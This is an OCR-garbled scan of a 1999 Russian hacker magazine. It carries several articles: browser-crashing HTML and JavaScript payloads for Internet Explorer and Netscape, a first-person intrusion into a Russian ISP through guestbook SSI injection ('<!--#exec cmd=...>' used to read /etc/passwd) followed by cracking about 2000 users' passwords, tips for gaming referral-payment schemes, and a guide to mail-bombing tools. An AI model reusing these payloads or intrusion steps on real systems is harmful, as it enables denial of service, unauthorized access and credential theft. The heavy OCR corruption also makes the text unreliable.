зрит/.ехе/_уН_грс), и на самом серве- 
ре, само собой, хранится копия пароля 
админа, чтобы было что сравнить с 
тем, что будет введено клиентом. А са- 
мое главное, что эту копию можно спо- 
койно достать. Окл находится в фай- 
лах ати та!югз.ру/ и аи\фогз.рма, 
которые лежат в дир-ии АЯр://муум. 
уоиг4отат.сот/_УН_ру!! Достаточно 
подставить их в такой урл и все... По- 
том остается только расшифровать их. 
Из этого следует, что любой может по- 
лучить доступ к установлению соедине- 
ния через $В#т.ехе. И вся эта бодяга 
из-за того, что они все хотели сделать 
РЕ совершенным и не сложным при ра- 


боте... Ну... Хотели как лучше! © 


= 


ыМмМ— ыы: 


РЕГъжопа! ПТт! КИЕГ$ 


УпеаМ ВО (упеагЕЗ46@тай.ги) 
Баг Виундов 


Многие из вас знают, что мастдай раз- 
решает использовать длинные слова в 
названиях файлов (больше стандар- 
тных досовских 8 символов). Т.е. если в 
досе ты, предположим, ре- 
шишь назвать какой-нить 
файл зирегехна е.1Х{, то те- 
бе, мягко говоря, откажут. И 
имя твоего файла будет сок- 
ращено до зирегех+.4. А вот в 
Виндах ты можешь использо- 
вать имя любой длины... Но это 
не совсем так. Винды конечно 
позволяют создавать длинные 
имена файлов, но им все-таки 
есть предел. 

Ты, наверно, уже слышал 
когда-нибудь, что если на 
рабочем столе создать файл 
с именем, содержащим бо- 
лее 200 символов, и разреше- 
нием не $4, а, к примеру, где- 
нибудь так 60 символов, то по- 
том ты не сможешь стереть ‘его 
через мастдай... придется в дос 
лезть. Все это происходит из- 
за ошибки часК оуеМо\ (это, 
грубо говоря, если в мешок 
насыпать песка больше, чем 
влезает, то песок посыплется за 
края, и получится оуеМо\и — пере- 
полнение). Я не стану объяснять, что 
это значит для мастдая, так как это 
очень долго да и тема у меня другая. 
Это все было предисловием к созданию 
очередного «убийцы». 


Как его испопьзовать 

А вот теперь, зная, что у виндов бы- 
вают такие серьезные глюки с длинны- 
ми (очень длинными) именами, можно 
попробовать использовать это для (к 
примеру) закрытия ИЕ! 

Тебе потребуется: один файл 
(сгазМЕ.В+т| и... да и все. 

Как и все хтмл-файлы, начать его сле- 
дует с <НТМЁ> — показывая, что даль- 
ше идет язык НТМЕ. 

Дальше надо как-нибудь заставить ма- 
шину жертвы, открывающую эту стра- 
ничку, обратиться к файлу с очень 
большим именем. Это можно сделать с 
помощью <ЕМВЕР $ВС=(епате}>. 
Этот тэг (ЕМВЕО) позволяет вставлять в 
страничку мультимедийные файлы 
(фильмы, звуки и т.д.), которые будут уп- 
равляться рудт’ом. 

Теперь, зная способ, как обратить вни- 
мание удаленной машины к файлу с 
длинным именем, осталось заполнить 
место (Непате). Имя файла волжно 


Хакер 8/ ‘99 ВЁр://шшш.хакеЕр.ги 


быть больше 250 символов (200-250 — 
это предел имени файла в мастдае (к 
примеру, в имени можно просто пере- 
числить цифры от 1 до 200)). Зачем нам 
такое имя, ты уже знаешь. Но самое 
главное то, что этому файлу совсем 
необязательно существовать на свете! 
Допустим, ты заполнил этот тег так: 
<ЕМВЕР $ВС=Не://С]/13.123...432>. 
13 — это имя файла, а после точки 
идет его расширение, но не какое-то 
там 5 или ехе, а набор символов, кол- 
вом больше 250!!! А «Ше://С]М/» нужен 
для того, чтобы машина бедняги пыта- 
лась найти этот файл у себя на диске. 
А теперь конец файла сгазМЕ.Вт! за- 
вершаем оконча- 
нием языка 
НТМЕ — 
</НТМЬ. 
Теперь при 
запуске это- 
го файла 
машина 
нач- 


нет искать файл 13.1...432 на диске С. 
Точнее, ИЕ будет отдан приказ найти 
такой файл, и во время обработки этой 
команды, из-за длины файла, у Е не 
хватит памяти, чтобы воспринять такое 
имя, и все закончится сообщением об 
ошибке и сворачиванием всех окон (Е 
(в случае, если окна не идут разными 
процессами). 


Баг МеЕссаре’а 
К сожалению, на Месаре эта фенька 
не работает, но не стоит огорчаться. Я 
туг придумал, как его побить. 
В общем, для получения веселья с 
Месаре’ом нужно опять создать за- 
цикливающийся хтмл. Но если в прош- 
лый раз (см. Х #4) это были 12 хтмл- 
файлов, ссылающиеся друг на друга, и 
при этом получалось недетское зацик: 
ливание, то теперь достаточно одного 
файла. Знающим хтмл известен }ауа 
скрипт гедисга! Это когда ты открыл 
страничку, и с нее автоматически тебя 
куда-нить отправляют. Это осущес- 
твляется такой вот вставкой в хтмл: 
<зсйр!|апдцаде=’/ауа$ сир! > зеЁ.раг- 
еп!.|осаНоп=' ЦВ; </зсир!> . Меняешь 
ЦВЕ на любой нужный тебе адрес и 
при открытии этой станицы туда и по- 
летишь! © 


Как его испопьзовать 
Теперь о том, как с этой фенькой 
поглумиться над Нэтскейпом. 
Просто создаешь один файл (Ы9- 
Боот.Ннт). Туда вписываешь 
подряд друг под другом две эти 
строки (<$сйр! 
[апдчаде=’)ауа$ сир! > 
зеЁ.рагеп!осаноп=ИКГ; </зсир!>). 
Потом в первой строке вместо УВЕ 
впиши путь к какому-нибудь файлу не 
существующему (к примеру, 
а:\сгазр.а!), а во второй строке УК 
меняешь на имя самого хтмл, который 
создал (МаБбоот.В!т|). И все. Теперь, 
при запуске этой паги нетскейпом, он 
сначала будет пытаться полететь на (к 
примеру] а:\сгазН.ай, но так как там 
такого нет, он продолжит смотреть 
ХТМЛ дальше и увидит, что ему надо 
загрузить самого себя, и, загрузив, 
опять полетит на а:\сгзВ.д и т.д. Но 
дело в том, что каждый раз, когда он 
не находит сгазй.дй, он выдает боль- 
шое довольно окошко с ошибкой... и 
так как нетскейп работает быстро, то 
за секунд 5 откроется немереное кол- 
во этих окошек, и придется вырубать 
нетскейп тока через «сн+аН+аер»! 


Удачи! © 


Мне часто 
ров, «добр 


спамера, рассыла 
«5#*зит», который 
его письмо, жмем (в Аут 
том Свойства, закладка 
Вот что мы видим (помече 


тройках сами 
изегз.ропа!ги 


# дата получения сообщения моим 
сервером 

(епуеоре-кот е!@тозсо\и.ропа/.ги] 
Юесемеа: Кот аеаи! (ррр-1-56- 
еп.ропа/ги [195.16.98.57]) 

# А вот он, попался; кстати, в нас- 
тройках Виндов у него стоит имя хоста 
— деи, а его |Р — 195.16.98.57. © 
Вот мы и узнали его ПР, его провайдер 
— Ум. >. го, "о ы 


ходит с обычного ‘дай а у До, 
усложняет нашу задачу: 
Бу изегз.рома!ги (ропа/ройа] уйВ 
МТР 4 ОААТ6807; 

‚Ви, 25 ЕеБ 1999 14:03:05 +0300 
Ргот: «Тезь ЧезК@тозсоу/.ропа|.ги> 
То: «=@Ко!8- 
г2В2987/есНОусАа05/ТО8пКО8УЛУСРИТ 
@СуаИМИ ЮО ===» 
<1е@тозсоуи.рота/.ги> 
5иБесЕ ВиШент «У5й» 
Да: Тви; 25 ЕеЬ 1999 14:03:40 +0300 
Ме55аде-Ю: 
01Ье60ае$806с2690$396210с<3@аеюий 
# если очень уж хочется настучать про- 
вайдеру о нем или, если повезет, узнать 
о нем побольше, номер письма может 
пригодиться. 
М/МЕ-Уегэгоп: 1.0 
СотепЕТуре: тинрап/ткеа; 
Боип фе — 

М ех!Раг!_ -000_ 00А5_ОТВЕбОСУ. Е8 2 
280» 
Х-Рпогиу: 3 
Х-М5Май-Рногйу: Могта! 
Х-Майег: Мсгозой ОиНоок Ехргез$ 
4. ИЕ 


в г = 


— Роз!2и.пе! (8. 


посложней. Ты, конечно, получалт 


ма с предложением получить денег (со- 


вет — стирай их сразу). Вот то же самое 
пришло и мне. А если я тебе скажу, что. 


через 10 минут я узнал Имя, Фамилию, | 


Телефон, место работы, должность, а 
также всю биографию директора фир- 
мы из локальной сетки, откуда писал 
спамер... А также, имея его локальный 
с — вышел на него самого... Обо 
итай ниже: _ 


ИССЕЗ$. ВЕРОКТ- 
- оп/те. [< 

$ Здесь все ясно © 
Юесемеа: Кот тай. Ре ак 
194.239.250.70]. 

# подставной. етой — 


вы, ак Эа 

# Неправда © 

Кесемеа: пот тай.ЬБ-оп/те.аК (170- 
244-26/рт.ао/.сот [152.170.244.26]) 
Бу тай.ЬЬ-опте.оК. (8.8. 8/8.8. 5] уйв 
5МТР а ТААТ 0595, 


И’еа, 24 ЕеЬ 1999 С +0100 

Кесе!№еа: от !епд #20. пе! 

('епди. Боз!и.пе! [2 0.156.42] Бу 
6.5] мин 


Имя окального хоста можно подде- 


К 


локальный адрес в круглых — 


® чем спамеру давать свой реальный | 


выдал его с головой. 
$МТР (а САА06279 юг 


<зисзезз@Е\УР. МЕТ>; У/еа, р 
:00:58 -0600 (Е$Т) 


оже интересный адрес, но это не то, 


1999 


00701 БЕ 5ЬЧе$405ее5о0$е 9480 191 
оетсотрше> 

Роие: Ува, 24 ЕеЬ 99 08:00:58 Е$Т 

ЗиЫесЕ 555 

Кер\-То: зисзезз@ЕУУР. МЕТ 

Х-РМНАС5: 128 0 . 

Соттетв: Аитепйисо!е4 зепаег 15 <зис- 

сезз@Е\У/Р. МЕТ> 

ХЕ 
33239456098756743245607948572636 


Узнай как можно | 
БОПЬШЕ ПОДРОБНОСТЕЧ 


Начнем наше разбирательство по это- 


аю: первый е-мэйл, указанный в 
к — подставной (100%). За- 
ящик? А тай.ЬЬ-опте.аК — подстав- 

и ной сервер посылки почты. Этим я за- 
ялся первым делом. Зашел на 

„ЬЬ-оп/те.сК и узнал, что это не- 
й ре 


ыт 25 порт И 


] приложить не могу, откуда он там 
взялся — скорее всего, перепродажа 
|ддрессь) Очень интересным показал- 
ре поэтому 


лось узнать, Кте 
Это можно 


п Роверил че- 
просто напи- 


Проверить ТР. Авот РВ вадра 
скобках — интеребный. Я сделал Но 

ся любой прогой, ти- 
.епйс.сот. Ну 
на. сайт, смот- 


там-то я и узнал о боссе спамера. 


_ Одна ночь из жизни... 
ипиу как помаются провацдеРы 


Рапот РИЕГЕЕК, 
(ЕдЮп2ООО тетьЬЕГ 


В=^ когда-либо хотелось оказаться 
за «кулисами» Интернета и узнать, 
как это выглядит изнутри. Я думаю, каж- 
дый человек, который слышал о хаке- 
рах, задумывался о том, как же они все- 
таки достают их сокровенные пароли... 
В этой статье я попытаюсь показать те- 
бе, как был взломан один из крупней- 
ших провайдеров России и что из этого 
вышло. 

Однажды, когда уже делать было совсем 
нечего, я читал новости на каком то но- 
востном сайте... Сон уже одолевал здра- 
вый смысл и руки тянулись набрать 
геБос! и выключить компьютер. Напос- 
ледок я решил кликнуть на баннер с 
изображением машины формула-1 (хотя 
я не люблю гонки... просто делать было 
нечего). И вот тут у меня сработало 
внутреннее чутье, которое подсказало 
мне просканить 
хостинг (это ока- 
зался один из 
крупных провай- 
деров России) 
этой странички 
на баги. Я полез 
на свой любимый 
шелл за скане- 
ром... 

Сканер дырок не 
нашел ®. Этот 
факт стал дег- 
рессивно обла- 
мывать. Ну что 
ж, делать нечего, 
ия стал разгля- 
дывать их 
ВнтГки... После 
долгих изучений 
я нашел интерес- 
ную штуку в про- 
верке статистики 
пользователей. 


Раоущег Макейло буочр. пс 


[е] вари рем соко/ 


во 


новосви 
подключении 
услуги 
шару 
п 


Меня привлекло кл 
то, что когда я пощ 
ввел имя не су- пои 
ществующего 
пользователя, 


система ответила, что файл с таким 
именем не найден ©. Как я понял, вы- 
вод статистики осуществлялся из файла, 
который цгайка (с9!) формировала из 
какой-то базы данных, с именем пользо- 
вателя... После долгих попыток изменить 
а\егу зна , чтобы вывести листинг ка- 
талогов, я попробовал изменить ВНт| и 
запустить его у себя, с винта, и... у меня 
получилось, а экран выполз /с9!-Ыт/*, 
то есть все файлы из этой директории... 
Правда, из других директорий листинг 
вывести не получилось ®. Ну что х, бу- 
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дем разбираться с тем, что есть... 

Для начала я просмотрел все саГшки. 
Некоторые были очень даже полезными, 
например, /са-Ыт/ааа. Именно с по- 
мощью этой са! я смог просмотреть со- 
держание файлов в /с9!-Ып/. После 
подробного изучения всего этого хозяй- 
ства я напоролся на /с9!-Ыт/КК.са! — 
это оказалась дуезВоокК какого-то ква- 
керского сайта... Самое интересное, 
что в этом дуезфооК`е содержание не 
проверялось на <!-. Ничего не подразу- 
мевавшие квакеры мирно мерялись 
{рз`ами, а я тем временем пробовал ис- 
пользовать Инт! тэги: 


пате: ххх 
е-тай: ххх@ххх 
те5заде: <!—#ехес ста=»/Бт/!5 /ек/» 


Оп-па! мне на экран вывелся листинг 


/е</ | © 


Местозой |пйетпе! Ехррюте! ргоуе4 Бу бате!ала М адагте 


Мега-\Ульптра-Провайдер 
САМАЯ БЫ 


чел» 


= \ 


—). ЕТ: , КТ! 


ириться.. 


СЕвУноА вбьллмы 


Работает один раздел 


[..5Кр..] 


Из увиденного нас интересует: раза 
тазег.разз\4 тазег.разз\/.БасКур. 
Жмем на БасК и вводим снова: 
<!-#ехес ста=»/Бт/са! /ес/раззу/а». 
На экран выводится /ес/разз\А (без 
паролей). /ек/тазег.разз\А посмот- 
реть не удалось (Хотя этого и не понадо- 
билось}, а пароли оказались в /ек/таз- 
{ег.раззу.БасКир — около 2000 пользо- 
вателей... 


Приносим свои извенения. Наш сайт закрыт на реконструкцию 


гооЕ515аеСвиМ25$Ву4ту\. МхОКОте 
ХНМКНУ/Т:0 
:0::0:0:Свате:/гооЕ/Ьт/БазЬ 

[..5кр..] 

Бот: 52ЗНК.КА.$6:1001:0::0:0:Цзег:/ 
Роте/Бопз:/Бт/5Ь 

йр:*: 14:5::0:0:Апопутоиз ЕТР. 
Аадтт:/уаг/йр:/попех{ет! 

о[ед:5 15Р1\Ие3$Х$ Ад 1595 аРКбгм КЕ 
СКо/: 

1000:1000::0:0:О!е9 
Ропотагеу./поте/оед:/Ьт/БазВ 
мебтаяегге ИБмиПАКМКМ: 101:100::0: 
0:УИеБ 
Аатт,,,:/из/ЛосаИмимим:/Ьт/БазЬ 
ута!т:Х 926! т8ИАдЕ:102:100::0:0:Мас! 
ти 
МаКт,,,:/изг/Боте/утат:/Бт/БазЬ 
[..5Юр..] 


И так далее — почти все пользователи 
(БасКур был не самой первой свежести). 
Файл паролей был тут же поделен на 4 
части и поставлен 
расшифровываться 
на 4 разных шел- 

| ла, начало по 
5ОтьЬ словарику, 
потом 
брутфорсом... 
Чтобы пароли не 
светились на 9уе$- 
Боок-е, стереть ее 
было очень прос- 
то — <!--#ехес 
ста=«еаг». 

На следующий 
день я уже имел 
расшифрованны- 
ми более полови- 
ны паролей, среди 
них пароли на 
официальный сер 
вер правительства 
республики Каре- 
лия (пароль был в 
МО5)] и на офи- 
циальную странич- 
ку налоговой по- 

я лиции республики 
Карелия (в 0Е$). 
Так как этот про- 
вайдер не предоставлял доступа в Ин- 
тернет в Москве, он мне был уже не 
сильно интересен... Я отослал письмо 
их админам, нашел их по [са .. Очень 
хорошо то, что ребята быстро спохва- 
тились, нашли дырку (не без моей по- 
мощи) и тут же ее исправили, т.е. сра- 
ботали быстро и качественно... 


Р.5. При проведении данной акции ник- 
то и ни что не пострадали. © 


ини Й_ 


025 


РОВНО 


Веап!ит (а!ап33@сагауап.ги) 


ривет, кул хацкер, жак Жизнь? Это 
опять твой любимый автор, кото- 
рый решилпродолжить эпопею зара- 
ботка в сети. осле прочтения шестого 
‚ Вомера ты нашел» ‘себе красивую голо- 
Ю`телочку с большими глазами, 
ходишь с ней по’ барам, развел на'раз- 
в-неделю, но счастья-то нет! Я знаю, 
почему, потому что все деньги, которые 
ты теперь умело зарабатываешь, ухо- 
дят на эту баллонообразную, а на себя 
не остается. Ну чтож, я могу помочь 
тебе и сэтим — пока мы с тобой не ви- 
делись, в сети появились новые фенеч- 
ки для заработка, которые значительно 
облегчают всем жизнь: 


— ТагдЕМопеУ 
“Нр//шшшАагдЕВор.сот) 
та буржуйская фирма предлагает то- 

{ вары со скидкой, а также она проводит 
исследовательский опрос потребите- 
лей. Ты проходишь этот опрос, ‘а потом 
тебе дают твой идентификационный но- 
мер. Тогда ты начинаешь зазывать туда 
народ, который хотел бы пройти дан- 

+. ный`опрос, причем пусть они обяза- 

тельно вписывают, что это ты послал их 
сюда. За каждого такого человека ты 
получаешь 12,50. долларов! Это. са- 
мое сногсщибательное предложение, 
если учесть, что.регистрация бесплат= 
ная. После регистрации вам придет 
письмо со ссылкой, когда вы зайдете 


Вы можете рекламировать.их в пись=^ 
мах, на досках объявлений, на своей 
странице... Но там есть ограничение — 
вы не можете зарегистрировать от се- 
бя более 80 человек (тысяча баксов!), 
но‘кто нам мешает зайти через:прокси, 
<ать свой ‘второй почтовый адрес-дать 
‚дрес своей бабушки? Через прокси 
можно также зарегистрироваться у се- 
” бя самого, но я не советую’этим злоу- 
потреблять, так как терять такого спон- 
сора будет жаль. 


Чфор!АЧ 
(БНр.//шшшалор!аа.сот) 
Совершенно новая программа 
\Лор!АВ не имеет.ограничений на мес- 
то проживания и, что более важно, на 
часы, проведенные в сети, что'совер- 
шенно не ограничивает заработок! 
Как работает эта программа? Зарегис- 
трировавшись на сайте (№юр1АВ, ты по- 
лучаешь (бесплатно, конечно ©), не- 
большую программку, с помощью ко- 
торой во время пребывания в-сети на 
экране монитора постоянно находится 
рекламный баннер. И чем больше вре- 
мени он наблюдается на мониторе, 
тем больше денегты получаешь ©. Ог- 


ЕТЕВЫЕ БаБ 


на эту ссылку — регистрация окончена. _ 


раничений нет!!! Помимо этого, ты. мо- 
жешь привлечь к этой программе с по- 
мощью электронной почты, различных 
досок объявлений и т.п. новых членов. 
для этой программы и будешь по 
проценты с их дохода! Ток, если 
твоей ссылке к (орАВ присоедин ился 
новый член, ты получаешь 10% его до- 
хода. Далее, если этот новый участник 
программы: нашел других людей, ты по- 
лучаешь 5% их дохода! Далее, если те, 
другие люди, нашли еще новых учас- 
тников, ты получишь от их заработка 
2% И в самом конце, я уже не буду 
описывать от кого ©, получаешь еще 
19%!!! Как тебе схема® Например, если 
ты проводишь только 1 час в день в Ин- 
тернете, и от тебя зарегистрировалось 
всего`5 человек в Уюр!АО, простой 
расчет показывает, что в месяц зара- 
ботаешь, за то время пока находишься 
в любимом чате или на порносайте‘или 
просто лежишь на диване и плюешь’в _ 
потолок, $196.20. Для 10 зарегистри=_ 
рованных от тебя человек эта сумма” 
составит уже $2275.20! Выглядит так, 
что этому не веришь (никто.негможет 


утверждать, что спонсор-не обманет). У 


тебя только показывается баннер на 
экране, и на него даже совсем не обя- 
зательно нажимать! Спеши зарегистри- 
роваться прямо сейчас, пока эта прог- 
рамма\только начинает набирать. обо- 
роты! Сейчас в ней всего.35 тыс. чело- 
век, и число. их увеличивается с каждым 
днем в геометрической прогрессии. Ес- 
тественно, кто раньше начнет, тот 
больше заработает! © 


вото\\№ома 
(ВНр//иши.доюшоп. а 


Эта программа также оплачивает ча- 
сы, проведенные в“сети, и также опла- 
чивает проценты от заработанных дол- 
ларов подключившихся от тебя людей. 
На своем сервере они приводят такие 
цифры — если ты будешь в Интернете 
всего один час двадцать минут в день, и 
от тебя подключится 10 человек в ме- 
сяц, то ты получишь $2356.00. Несом- 
ненным плюсом является то, что прог 
рамму-автомат по производству ваших 


ь денег © можно скачать и запустить 


сразу после регистрации. Эта прог- 
рамма-броузер, аналогичная |тегпе! 
Ехр/югег, но имеет ряд дополнительных 
функций — например, может воспроиз- 
водить МРЗ файлы, и че-та там еще. 
Самой полезной, на Мой ‘взгляд, являет- 
ся возможность он-лайн перевода уи\/\ 
страниц (даже чатов!) на многие языки 
и обратно. Причем есть и‚англо-рус- 
ский переводчик, который ‘сейчас.про- 
ходит тестирование и станет доступен 
для загрузки в ближайшее время. И’за- 
меть — все это бесплатно для членов 


ачБль 2! 


_ времени, проведенного вс 
_ часов в месяц. (Можно эти 40 часов 
„потратить за 3-4 дня, а потом выклю- 


_паги и получаешь за это деньги. За 


так, жак тамошняя система исчисления. 


СоТо\Мон49. Однако есть и минус у 
этой«программы, хотя, как написано в 
правилах; Это временно. Максимум 
и 


чить программу и ‘пользоваться своим 
любимым броузером ©. Программа 
совсем новая, и вы можете быть одним 
из первых и, сыграв только на этом, за- 
работать хорошие деньги и провести 
себе в дом выделенную линию в Интер- 
нет! © 


Гвозауц 
(ВНр.//дуога! то о ги) 


Позволь представить нового РУССКО- 
ГО спонсора, для работы с которым 
даже не нужно иметь своей страницы! 
Смысл работы заключается в том, Что 
ты просто посещаешь предложенные 


каждое посещение получаешь от 1 до 
5 центов, также получаешь по З цента 
за каждого нового привлеченного чле- 
на. Людей, которые зарабатывают 
деньги, там называют «гвоздоедами», 


денег идет в гвоздях (каждый гвоздь 
имеет денежный эквивалент). В день = 
можно заработать около 12 центов в” — 
самый первый день работы вы зараба- 
тываете больше, так как некоторые 
спонсоры оплачивают только одно по- 
сещение), но это нормально, так как 
затрачивается очень мало времени. 
Деньги можно получить в любом об- 
менном пункте или отделении Сбер- 
Банка, что, по-любому, очень удобно. 
Также на заработанные деньги можно 
сделать очень много:операций: сделать 
покупку в виртуальном магазине, пос- < 
тавить на тотализатор, поиграть в ло- № 
терею, оплатить платные услуги сети, 
застраховаться, обменивать доллары в 
рубли и обратно и многое другое. Это 
очень хорошее предложение для Рос- 
сии, так как при минимуме усилий мож- 
но иметь денег, причем сразу, без 
проблем с обналичкой и всякой другой 
гадостью. Свои сбережения можно 
увеличить на странице ВИр://умиуии. 
сваЕги/-мебриат, а остальные пира- 
миды обманывают, причем нагло. 


Ну вот, на сегодня это все, что может” 
заслужить хоть малейшего а ни-. 


заканчивается на, этом, ыы за выхо- 
дом журвала, как только появится что- 

нибудь се она тебе обязатель- 
#о расскажу. ее, хе. 


Вы ы абы © 
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Взпом 


ВсЕ о СПАМЕ 


УЩЕХ (э«ех@хакЕр.ги) 


Т: растешь, развиваешься, пони- 
маешь больше в хакинге и прочей 
компьютерной альтернативе. И на пути 
этого самого изучения сталкиваешься с 
фишкой под названием Спам ($РАМ). Да 
и не надо быть кульным хацкером, чтобы 
познакомиться с этой хренью. Когда я 
только залез в Сеть, и хакнуть мог разве 
что свой монитор, кинув в него кирпи- 
чом, то уже тогда получал по 20 писем в 
день с рекламой принтаков Хьюлит Пак- 
кард. А позже, окунувшись в сетевые 
войны, с криком «Наших бьют!» сам спа- 
мил ящики противников, получая ответ- 
ные тонны мусора. Но от всего этого я 
постепенно отошел и решил поделиться 
собственным опытом с тобой! 


Этвуда всЕ пришло! 

Спам как вид появился вообще раньше 
компьютеров, когда вместе с любимыми 
тадатат! и газетами, подписчик полу- 
чал вдвое больше рекламных объедков. 
Да и сейчас весь твой подъезд загажен 
дебильными рекламными листовками с 
лозунгами типа «Продай нам квартиру, 
а то проиграешы». Когда мыло было не 
очень распространено, а компьютерным 
шарагам, типа «Мелкософта», очень 
нужно было подсовывать юзверю свою 
рекламу, то они придумали следующую 
фиговину. В каком-нибудь попсовом 
компьютерном журнале размеща- 
лась объява, типа «Вышлите нам 
этот заполненный купон и вы 
бесплатно получите новую 
бета-версию «Виндоус 88». 
Один мой корефан 6 лет 
назад заполнил анкету и 
даже сейчас нес- 
“олько раз в 
лесяц выгре- 
бает рекламный му- 
сор от Маздаевцев. 
Вообще же слово спам 
произошло от марки 
мяса, производители 
которого чисто по-хам- 
ски вели рекламную 
кампанию. Была такая шняга: люди в 
ресторане, желавшие заказать мясо 
марки спам, должны были перекричать 
хор мужиков, воспевающих рекламные 
гимны этому мясу. 

Спам, в том смысле, как его понимаем 
МЫ, ПОЯВИЛСЯ практически вместе с мы- 
лом, но особо активно стал проявляться 
с появлением ум, т.е. — в 93 году. Пер- 
выми приметили спам, как способ рекла- 
мы, хозяева порно-сайтов (ведь ты туда 
не ходишь? © }, высылая свои баннеры. 
За ними сайты, торгующие хардом, и 
строители пирамид (а-ля а/аауапт- 
1аде.сот и МММ). Как я писал ранее, 


026 


одним из первых, и самых скандальных, 
был спам с рекламой НР в 96 году, когда 
заглючил почтовый сервак, и клиенты 
рассылок получили 25 копий с рекламой 
принтеров и сканеров (наверно поэтому 
у меня принтер от Хулита?). В массиро- 
ванном спаминге была засвечена 
Месаре согр., когда, рекламируя свой 
новый дырявый броузер, присылала 
ежедневно свои новости и прицепляла 
кучу скриншотов. Да и дядя Билл не сты- 
дился спама, продвигая свою НТ (более 
известную как ТНТ © ). 


Как стать жертвой спама 
Чем, а точнее, кем (после ряда рассылок 
спам зажил собственной жизнью и те- 
перь ассоциируется с реальным крети- 

_ ном) спам является сегодня, я тебе рас- 
‘сказывать не буду. Узнать об этом ты мо- 
жешь, открыв свой ящик. Но по статисти- 
ке в твой халявный ящик приходит до 
40% спама от числа всех писем, и это 
офигенно много, учитывая, что тебе 
ежедневно приходит до фига писем от 
поклонниц © (ты же Х не просто так чи- 
таешь). Лучше давай узнаем, откуда 
злобные спамеры берут твое мыль- 
це. Самым простым спосо- 
бом надыбать твой мыл яв- 
ляется запуск спецпроги, ыы 

гуляющей : 


по сети и со- 
бирающей мыль- 
ники по принципу *@*.* 
или *@*. ВЦ, те. все об- = 

мылки или только русскоговорящих. Если 
тебе надо составить такой лист, то я со- 
ветую прогу Май25рат (ууу. сгаск- 
Васк.сот/тай/25рат.гай. Чаще всего 
ты можешь засветить мыло в Озепе! или 
в конфе (например, на хаКер.ги ©). 

Еще есть такая фича: прога берет слово 
из словаря и прибавляет имя почтового 
хоста, и вот что получается. 

Берем слово Васкег (по словарю это зна- 
чит мясник), прибавляем хост зимбамвий- 
ского мясообрабатывающего профсоюза 
хаКер-го © и получаем Васкег@хакер.ги. 
Так что обладателя столь ценного мыла 
скоро вынесут спамом во все порты. 


Но эти методы юзают только неопытные 
спамеры, так как половина мыл оказы- 
ваются левыми или практически не ис- 
пользуемыми. Более реальный метод — 
покупка мэйл листов у крупных почтовых 
сервисов типа Яху. Провайдеры же абсо- 
лютно открыто продают листы, напри- 
мер, московский ПЕ (1000 мыл — 10 грин 
— это, кстати, на заметку разработчикам 
червей). Есть более крупные продавцы, 
продающие оптом, у них встречаются 
предложения типа — продаю 1.000.000 
е-тай адресов. Например, такую объяву 
дал экс-менеджер АС! (самого крупного 
прова в мире). Также в нашей стране ес- 
ть практика рассылки рекламы юзерам, 
подписавшимся на рассылку (типа сйу- 
саф.ги). Если ты такой неправильный и 
все-таки ходишь на порно-сайты, то ты 
там видел такую фишку: если нет креды 
(или номеров от нее ©), то пишешь свое- 
го емелю, и на него придет паролик. Как 
понимаешь, вместе с пароликом (а чаще 
ВМЕСТО} приходят мегатонны рекламы 
«девочек с самым эротичным большими 
пальцем на ноге». Как узнать номер С@ 
для рассылки спама, я думаю, рассказы- 
вать не надо (даже у послед- 
него ламера есть 
45.000.000 адресов ась- 
М ` холдеров). 
Помимо рекламно- 
го спама, есть еще 
’ милитарный, т.е. 
боевой, что встре- 
чается по ходу се- 
тевых войн. Т.е. 
спам, применяемый 
целенаправленно, 
на порчу ящика 
врага (называется 
тай БотЫпоа). Ког- 
да спамеру надо, 
чтобы твой ящик 
переполнился, и 
все приходящие 
письма отсылались напи- 
савшему, он использует на 
тебе тай Ботьег. Вручную 
так делать, конечно, отстойно, 
прикинь, сколько писем надо 
замылить или какой файл 
заслать, чтобы замочить 5-ти (а 
то и 10-ти) мегабайтовый ящик. И при 
этом сделать так, чтобы юзверь долго 
мучался удаляя письма. Но как ты пони- 
маешь, мир не без добрых людей, и уже 
написана масса прог для военного спа- 
минга; т.к. для нас эта тема особенно 
актуальна, то про нее целый следующий 
раздел. В связи с последними боевыми 
действиями в Югославии военная тема- 
тика стала несколько более актуальна, 
чем ранее. И проведение спаминга в се- 
тевых войнах я сравнил бы с реальными 
боевыми действиями. 


.... 


коб 


————оОоОоОоОоОоОоДДдДдДн, пнБкокококид ‚нана 


Тяжепая артипперия 
СЕТЕВОЙ армиуу 


Да-да, именно тяжелая артиллерия, а не 
сельхоз-тракторное ополчение. При- 
кинь, если ты забил весь ящик врагу, то 
все новые письма к нему просто не при- 
дут, и он временно лишится связи. Как 
там говорится в рекламе, связь правит 
миром? И я сэтим согласен, если лишить 
противника связи, то он не сможет свя- 
заться с союзниками и останется один. 
А, как понимаешь, с одним куда быстрее 
можно разобраться, чем с целой оравой 
отморозков. Теперь к нему не пришлют 
вооружение в виде свежих троянов, ню- 
ков и сканеров. Замочив один ящик, 
можно срезать целую цепочку мыльни- 
ков. Зацени: одна жертва шлет другой 
военную прогу весом в я мега, прога 
пришла в ящик, а он переполнен. И что 
дальше? А дальше прога едет обратно 
ко второй жертве, после чего у той так- 
же дохнет ящик, и так долго-долго, пока 
все твои враги ни лишатся связи. В нача- 
ле мне казалась глючной такая возмож- 
ность, но это реально. 

Ты понял, что вручную киллить ящики 
очень скучно, да и вообще я знаю, что 
ты ленивый. Именно для тебя были напи- 
саны проги для направленного спама. 
Из тех, что я выгреб из Сети, мне наибо- 
лее понравились две. Первая — народ- 
но любимый Кабум (КаВООМ) (йр.ВасК- 
2опе.ги/риЬ/сгаск/каБоот3.21р}. Эта 
прога заслужила народную любовь из- | 
за удобных настроек, уже готовых спам- 
листов (аж целых 20), которые можно по- 
полнять раз в месяц. Со спам-листами 
одна проблема: русских мыльников там 
вообще нет, но, говорят, в новой версии 
Кабума будет добавлено 10.000 мыль- 
ниц наших соотечественников. Когда 
настанет столь чудный момент, то ты 
сможешь разрекламировать спамом 
свою пагу о кактусоводстве в средних 
широтах. Также Кабум удобен тем, что 
уже содержит 66 (200 можно ввести) 
серваков, пропускающих письма в боль- 
шом количестве (грустно, но к выходу 
этой статьи останется в лучшем случае 
5-10 «добрых» серверов). Создатель 
(блин, мужик очень крутой, ты его фотку 
будешь видеть во время рассыла) обе- 
щает, что все серверы стирают твой 
реальный [Р, но это, к сожалению, не так 
{. При рассылке вообще лучше юзать 
ЗМРТ твоего провайдера (быстрее полу- 
чится), но провы рюхнули эту фишку и 
сейчас пропустят максимум 50 писем за 
час. Из серверов, подобранных прогой, 
наиболее рабочие — бразильского голь- 
ф клуба и финского текстильного треста 
(то не прикол — так и есть}. Первый с 
переменным успехом затирает твой ГР. 
